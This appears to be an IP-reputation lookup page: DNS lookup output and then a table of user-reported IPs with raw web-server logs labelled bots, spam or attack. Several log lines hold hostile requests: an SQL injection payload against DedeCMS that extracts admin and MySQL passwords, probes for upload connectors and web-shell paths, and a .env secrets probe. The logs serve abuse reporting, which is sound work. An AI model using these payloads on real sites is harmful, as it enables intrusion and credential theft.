City: unknown
Region: unknown
Country: United States
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 158.74.168.63
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 26588
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;158.74.168.63. IN A
;; AUTHORITY SECTION:
. 334 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022072202 1800 900 604800 86400
;; Query time: 18 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sat Jul 23 06:49:31 CST 2022
;; MSG SIZE rcvd: 106Host 63.168.74.158.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 63.168.74.158.in-addr.arpa: NXDOMAIN| IP | Type | Details | Datetime |
|---|---|---|---|
| 52.5.70.31 | spambots | 52.5.70.31 - - [22/Apr/2019:18:27:34 +0800] "GET /index.php/2019/04/19/xiaomi_2019_04_19_en/ HTTP/1.1" 200 13454 "-" "Grammarly/1.0 (http://www.grammarly.com)" |
2019-04-22 18:28:24 |
| 148.64.56.118 | bots | 148.64.56.118 - - [27/Apr/2019:14:02:00 +0800] "GET /check-ip HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; GrapeshotCrawler/2.0; +http://www.grapeshot.co.uk/crawler.php)" 148.64.56.118 - - [27/Apr/2019:14:02:02 +0800] "GET /check-ip HTTP/1.1" 200 2915 "-" "Mozilla/5.0 (compatible; GrapeshotCrawler/2.0; +http://www.grapeshot.co.uk/crawler.php)" |
2019-04-27 14:03:35 |
| 101.226.79.190 | attack | 101.226.79.190 - - [25/Apr/2019:08:39:19 +0800] "GET /utility/convert/index.php?a%3Dconfig%26source%3Dd7.2_x2.0 HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 101.226.79.190 - - [25/Apr/2019:08:39:19 +0800] "GET /utility/convert/index.php?a%3Dconfig%26source%3Dd7.2_x2.0 HTTP/1.1" 404 209 "http://ipinfo.asytech.cn/utility/convert/index.php?a%3Dconfig%26source%3Dd7.2_x2.0" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-25 08:39:47 |
| 35.202.223.242 | bots | ltx71爬虫，可以禁掉 35.202.223.242 - - [27/Apr/2019:06:45:25 +0800] "GET /robots.txt HTTP/1.1" 200 472 "-" "ltx71 - (http://ltx71.com/)" |
2019-04-27 06:47:27 |
| 37.59.1.165 | bots | 37.59.1.165 - - [24/Apr/2019:08:38:38 +0800] "GET //CHANGELOG.txt HTTP/1.1" 301 194 "-" "libwww-perl/6.04" 37.59.1.165 - - [24/Apr/2019:08:38:40 +0800] "GET //CHANGELOG.txt HTTP/1.1" 308 257 "-" "libwww-perl/6.04" 37.59.1.165 - - [24/Apr/2019:08:38:41 +0800] "GET /check-ip//CHANGELOG.txt HTTP/1.1" 301 194 "-" "libwww-perl/6.04" 37.59.1.165 - - [24/Apr/2019:08:38:42 +0800] "GET /check-ip//CHANGELOG.txt HTTP/1.1" 404 232 "-" "libwww-perl/6.04" |
2019-04-24 08:57:21 |
| 196.22.201.51 | attack | 登录攻击 196.22.201.51 - - [22/Apr/2019:12:36:06 +0800] "POST https://www.eznewstoday.com/wp-login.php HTTP/1.1" 200 5534 "https://www.eznewstoday.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.60.13) Gecko/20172285 Firefox/45.60.13" |
2019-04-22 12:37:16 |
| 41.242.165.217 | bots | 41.242.165.217 - - [24/Apr/2019:10:15:02 +0800] "GET /check-ip/66.214.40.126 HTTP/1.1" 200 8571 "https://ipinfo.asytech.cn" "acebookexternalhit/1.0 (+http://www.facebook.com/externalhit_uatext.php)" 41.242.165.217 - - [24/Apr/2019:10:15:14 +0800] "GET /check-ip/35.143.225.32 HTTP/1.1" 200 8472 "https://ipinfo.asytech.cn" "acebookexternalhit/1.0 (+http://www.facebook.com/externalhit_uatext.php)" |
2019-04-24 10:16:08 |
| 83.97.23.115 | botsattack | 83.97.23.115 - - [26/Apr/2019:11:18:45 +0800] "GET / HTTP/1.1" 301 194 "http://ipinfo.asytech.cn/" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.17.60 (KHTML, like Gecko) Version/4.7.2 Safari/533.25" 83.97.23.115 - - [26/Apr/2019:11:18:46 +0800] "GET / HTTP/1.1" 200 3289 "http://ipinfo.asytech.cn/" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.17.60 (KHTML, like Gecko) Version/4.7.2 Safari/533.25" 83.97.23.115 - - [26/Apr/2019:11:18:47 +0800] "GET //blog/ HTTP/1.1" 301 194 "http://ipinfo.asytech.cn/" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.17.60 (KHTML, like Gecko) Version/4.7.2 Safari/533.25" 83.97.23.115 - - [26/Apr/2019:11:18:48 +0800] "GET //blog/ HTTP/1.1" 200 3291 "http://ipinfo.asytech.cn/" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.17.60 (KHTML, like Gecko) Version/4.7.2 Safari/533.25" |
2019-04-26 11:19:18 |
| 61.160.195.187 | attack | 61.160.195.187 - - [21/Apr/2019:06:24:39 +0800] "GET /plus/recommend.php?action=&aid=1&_FILES%5Btype%5D%5Btmp_name%5D=%5C%27%20or%20mid=@%60%5C%27%60%20/*!50000union*//*!50000select*/1,2, 3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+%60%23@__admin%60%20limit+0,1),5,6,7,8,9%23@%60%5C%27%60+&_FILES%5Btype%5D%5Bname%5D=1.jpg&_FILES%5Btype%5D%5Btype%5D=application/octet-strea m&_FILES%5Btype%5D%5Bsize%5D=4294 HTTP/1.1" 404 3409 "-" "-" 61.160.195.187 - - [21/Apr/2019:06:24:39 +0800] "GET /plus/recommend.php?aid=1&_FILES%5Btype%5D%5Bname%5D&_FILES%5Btype%5D%5Bsize%5D&_FILES%5Btype%5D%5Btype%5D&_FILES%5Btype%5D%5Btmp_name %5D=aa%5C'and+char(@%60'%60)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,Host,0x7C,user,0x3a,password,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20mysql.%60us er%60%23 HTTP/1.1" 404 538 "-" "-" |
2019-04-21 06:55:34 |
| 111.206.36.142 | bots | 111.206.36.142 - - [24/Apr/2019:08:50:04 +0800] "GET /index.php/category/root/apple/ HTTP/1.1" 200 20644 "http://www.baidu.com/s?wd=sleptij3" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0" 111.206.36.142 - - [24/Apr/2019:08:50:05 +0800] "GET /wp-includes/js/wp-emoji-release.min.js?ver=5.1.1 HTTP/1.1" 200 4855 "https://www.eznewstoday.com/index.php/category/root/apple/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 " 111.206.36.142 - - [24/Apr/2019:08:50:05 +0800] "GET /wp-content/plugins/wp-quicklatex/css/quicklatex-format.css?ver=5.1.1 HTTP/1.1" 200 1032 "https://www.eznewstoday.com/index.php/category/root/apple/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/2 0100101 Firefox/43.0" 111.206.36.11 - - [24/Apr/2019:08:50:05 +0800] "GET /wp-content/themes/twentyfifteen/genericons/genericons.css?ver=3.2 HTTP/1.1" 200 17235 "https://www.eznewstoday.com/index.php/category/root/apple/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/2010 |
2019-04-24 12:24:25 |
| 171.8.219.231 | attack | 171.8.219.231 - - [24/Apr/2019:11:55:49 +0800] "POST /FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F HTTP/1.1" 404 557 "http://www.eznewstoday.com/FCKeditor/editor/filemanager/connectors/asp/connect or.asp?Command=FileUpload&Type=File&CurrentFolder=%2F" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 171.8.219.231 - - [24/Apr/2019:11:55:49 +0800] "GET /index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1" 301 329 "http://www.eznewstoday.com/index.php?m=member&c=index&a=register&siteid=1" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 171.8.219.231 - - [24/Apr/2019:11:55:49 +0800] "POST /admin_aspcms/_system/AspCms_SiteSetting.asp HTTP/1.1" 404 542 "http://www.eznewstoday.com/admin_aspcms/_system/AspCms_SiteSetting.asp" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 171.8.219.231 - - [24/Apr/2019:11:55:49 +0800] "GET /plus/moon.php HTTP/1.1" 404 512 "http://www.eznewstoday.com/plus/moon.php" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 171.8.219.231 - - [24/Apr/2019:11:55:50 +0800] "POST /plus/90sec.php HTTP/1.1" 404 513 "http://www.eznewstoday.com/plus/90sec.php" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 171.8.219.231 - - [24/Apr/2019:11:55:50 +0800] "POST /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1" 404 524 "http://www.eznewstoday.com/utility/convert/index.php?a=config&source=d7.2_x2.0" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2 )" |
2019-04-24 12:21:27 |
| 104.128.144.131 | botsattack | 扫描 104.128.144.131 - - [20/Apr/2019:12:32:14 +0800] "GET / HTTP/1.0" 301 194 "-" "www.probethenet.com scanner" |
2019-04-20 12:33:12 |
| 58.19.92.35 | attackproxy | 58.19.92.35 - - [24/Apr/2019:15:24:44 +0800] "CONNECT dnspod.qcloud.com:443 HTTP/1.1" 405 519 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3" 123.163.114.53 - - [24/Apr/2019:15:24:44 +0800] "CONNECT dnspod.qcloud.com:443 HTTP/1.1" 405 519 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3" 121.57.231.167 - - [24/Apr/2019:15:24:45 +0800] "GET http://www.123cha.com/ HTTP/1.1" 200 24638 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" 58.248.201.244 - - [24/Apr/2019:15:24:45 +0800] "CONNECT cn.bing.com:443 HTTP/1.1" 405 513 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3" 124.235.138.19 - - [24/Apr/2019:15:24:49 +0800] "CONNECT www.baidu.com:443 HTTP/1.1" 405 515 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3" 113.24.80.163 - - [24/Apr/2019:15:24:49 +0800] "CONNECT dnspod.qcloud.com:443 HTTP/1.1" 405 519 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3" 61.52.74.0 - - [24/Apr/2019:15:24:49 +0800] "CONNECT dnspod.qcloud.com:443 HTTP/1.1" 405 519 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3" 175.42.0.75 - - [24/Apr/2019:15:24:50 +0800] "GET http://www.ip.cn/ HTTP/1.1" 200 24638 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" 1.31.114.215 - - [24/Apr/2019:15:24:51 +0800] "CONNECT dnspod.qcloud.com:443 HTTP/1.1" 405 519 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3" 123.144.25.34 - - [24/Apr/2019:15:24:52 +0800] "CONNECT www.voanews.com:443 HTTP/1.1" 405 517 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3" |
2019-04-24 15:32:43 |
| 115.159.185.71 | attack | 攻击IP 可以禁用Invalid user death |
2019-04-19 17:11:05 |
| 159.138.35.59 | attack | 159.138.35.59 - - [23/Apr/2019:21:23:50 +0800] "GET /.env HTTP/1.1" 404 209 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 159.138.35.59 - - [23/Apr/2019:21:23:52 +0800] "GET /.env HTTP/1.1" 301 194 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 159.138.35.59 - - [23/Apr/2019:21:23:59 +0800] "GET /.env HTTP/1.1" 404 209 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" |
2019-04-23 21:25:16 |